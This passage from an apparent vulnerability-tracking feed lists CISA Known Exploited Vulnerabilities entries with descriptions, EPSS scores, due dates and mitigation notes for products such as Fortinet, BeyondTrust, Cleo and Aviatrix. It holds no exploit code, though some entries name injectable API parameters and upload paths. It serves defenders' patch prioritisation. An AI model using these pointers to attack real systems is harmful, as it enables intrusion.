CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache OFBiz Forced Browsing Vulnerability
https://kevwire.com/record/CVE-2024-45195
Apache OFBiz Forced Browsing Vulnerability (Feb 4, 2025).
Apache OFBiz contains a forced browsing vulnerability that allows a remote attacker to obtain unauthorized access.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-45195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25
CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-24085
Apple Multiple Products Use-After-Free Vulnerability (Jan 29, 2025).
Apple iOS, macOS, and other Apple products contain a user-after-free vulnerability that could allow a malicious application to elevate privileges.
EPSS 17.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25
CISA added this entry on 2025-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 29, 2025; federal due date Feb 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA1000 Appliances Deserialization Vulnerability
https://kevwire.com/record/CVE-2025-23006
SonicWall SMA1000 Appliances Deserialization Vulnerability (Jan 24, 2025).
SonicWall SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC) contain a deserialization of untrusted data vulnerability, which can enable a remote, unauthenticated attacker to execute arbitrary OS commands.
EPSS 23.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-23006: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25
CISA added this entry on 2025-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 24, 2025; federal due date Feb 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JQuery Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2020-11023
JQuery Cross-Site Scripting (XSS) Vulnerability (Jan 23, 2025).
JQuery contains a persistent cross-site scripting (XSS) vulnerability. When passing maliciously formed, untrusted input enclosed in HTML tags, JQuery's DOM manipulators can execute untrusted code in the context of the user's browser.
EPSS 84.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11023: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25
CISA added this entry on 2025-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 23, 2025; federal due date Feb 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Aviatrix Controllers OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-50603
Aviatrix Controllers OS Command Injection Vulnerability (Jan 16, 2025).
Aviatrix Controllers contain an OS command injection vulnerability that could allow an unauthenticated attacker to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-50603: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25
CISA added this entry on 2025-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 16, 2025; federal due date Feb 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-21335
Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability (Jan 14, 2025).
Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21335: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25
CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-21334
Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability (Jan 14, 2025).
Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21334: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25
CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Hyper-V NT Kernel Integration VSP Heap-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-21333
Microsoft Windows Hyper-V NT Kernel Integration VSP Heap-based Buffer Overflow Vulnerability (Jan 14, 2025).
Microsoft Windows Hyper-V NT Kernel Integration VSP contains a heap-based buffer overflow vulnerability that allows a local attacker to gain SYSTEM privileges.
EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25
CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-55591
Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability (Jan 14, 2025).
Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that may allow an unauthenticated, remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.
EPSS 94.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-55591: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25
CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 14, 2025; federal due date Jan 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qlik Sense HTTP Tunneling Vulnerability
https://kevwire.com/record/CVE-2023-48365
Qlik Sense HTTP Tunneling Vulnerability (Jan 13, 2025).
Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software.
EPSS 47.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-48365: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25
CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 13, 2025; federal due date Feb 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-12686
BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) OS Command Injection Vulnerability (Jan 13, 2025).
BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain an OS command injection vulnerability that can be exploited by an attacker with existing administrative privileges to upload a malicious file. Successful exploitation of this vulnerability can allow a remote attacker to execute underlying operating system commands within the context of the site user.
EPSS 32.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-12686: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25
CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 13, 2025; federal due date Feb 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2020-2883
Oracle WebLogic Server Unspecified Vulnerability (Jan 7, 2025).
Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an unspecified vulnerability exploitable by an unauthenticated attacker with network access via IIOP or T3.
EPSS 94.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25
CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel MiCollab Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-55550
Mitel MiCollab Path Traversal Vulnerability (Jan 7, 2025).
Mitel MiCollab contains a path traversal vulnerability that could allow an authenticated attacker with administrative privileges to read local files within the system due to insufficient input sanitization. This vulnerability can be chained with CVE-2024-41713, which allows an unauthenticated, remote attacker to read arbitrary files on the server.
EPSS 38.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-55550: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25
CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mitel MiCollab Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-41713
Mitel MiCollab Path Traversal Vulnerability (Jan 7, 2025).
Mitel MiCollab contains a path traversal vulnerability that could allow an attacker to gain unauthorized and unauthenticated access. This vulnerability can be chained with CVE-2024-55550, which allows an unauthenticated, remote attacker to read arbitrary files on the server.
EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-41713: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25
CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability
https://kevwire.com/record/CVE-2024-3393
Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (Dec 30, 2024).
Palo Alto Networks PAN-OS contains a vulnerability in parsing and logging malicious DNS packets in the DNS Security feature that, when exploited, allows an unauthenticated attacker to remotely reboot the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.
EPSS 29.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-3393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25
CISA added this entry on 2024-12-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 30, 2024; federal due date Jan 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Acclaim Systems USAHERDS Use of Hard-Coded Credentials Vulnerability
https://kevwire.com/record/CVE-2021-44207
Acclaim Systems USAHERDS Use of Hard-Coded Credentials Vulnerability (Dec 23, 2024).
Acclaim Systems USAHERDS contains a hard-coded credentials vulnerability that could allow an attacker to achieve remote code execution on the system that runs the application. The MachineKey must be obtained via a separate vulnerability or other channel.
EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44207: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25
CISA added this entry on 2024-12-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Please contact the product developer for support and vulnerability mitigation.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 23, 2024; federal due date Jan 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-12356
BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability (Dec 19, 2024).
BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain a command injection vulnerability, which can allow an unauthenticated attacker to inject commands that are run as a site user.
EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-12356: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25
CISA added this entry on 2024-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 19, 2024; federal due date Dec 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Reolink RLC-410W IP Camera OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-40407
Reolink RLC-410W IP Camera OS Command Injection Vulnerability (Dec 18, 2024).
Reolink RLC-410W IP cameras contain an authenticated OS command injection vulnerability in the device network settings functionality.
EPSS 47.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40407: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25
CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Reolink Multiple IP Cameras OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-11001
Reolink Multiple IP Cameras OS Command Injection Vulnerability (Dec 18, 2024).
Reolink RLC-410W, C1 Pro, C2 Pro, RLC-422W, and RLC-511W IP cameras contain an authenticated OS command injection vulnerability. This vulnerability allows an authenticated admin to use the "TestEmail" functionality to inject and run OS commands as root.
EPSS 37.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11001: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25
CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NUUO NVRmini2 Devices Missing Authentication Vulnerability
https://kevwire.com/record/CVE-2022-23227
NUUO NVRmini2 Devices Missing Authentication Vulnerability (Dec 18, 2024).
NUUO NVRmini2 devices contain a missing authentication vulnerability that allows an unauthenticated attacker to upload an encrypted TAR archive, which can be abused to add arbitrary users.
EPSS 48.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-23227: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25
CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NUUO NVRmini Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-14933
NUUO NVRmini Devices OS Command Injection Vulnerability (Dec 18, 2024).
NUUO NVRmini devices contain an OS command injection vulnerability. This vulnerability allows remote command execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.
EPSS 94.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14933: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25
CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cleo Multiple Products Unauthenticated File Upload Vulnerability
https://kevwire.com/record/CVE-2024-55956
Cleo Multiple Products Unauthenticated File Upload Vulnerability (Dec 17, 2024).
Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload vulnerability that could allow an unauthenticated user to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.
EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-55956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25
CISA added this entry on 2024-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 17, 2024; federal due date Jan 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel-Mode Driver Untrusted Pointer Dereference Vulnerability
https://kevwire.com/record/CVE-2024-35250
Microsoft Windows Kernel-Mode Driver Untrusted Pointer Dereference Vulnerability (Dec 16, 2024).
Microsoft Windows Kernel-Mode Driver contains an untrusted pointer dereference vulnerability that allows a local attacker to escalate privileges.
EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-35250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25
CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 16, 2024; federal due date Jan 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2024-20767
Adobe ColdFusion Improper Access Control Vulnerability (Dec 16, 2024).
Adobe ColdFusion contains an improper access control vulnerability that could allow an attacker to access or modify restricted files via an internet-exposed admin panel.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20767: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25
CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 16, 2024; federal due date Jan 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cleo Multiple Products Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2024-50623
Cleo Multiple Products Unrestricted File Upload Vulnerability (Dec 13, 2024).
Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload and download vulnerability that can lead to remote code execution with elevated privileges.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25).
Sources:
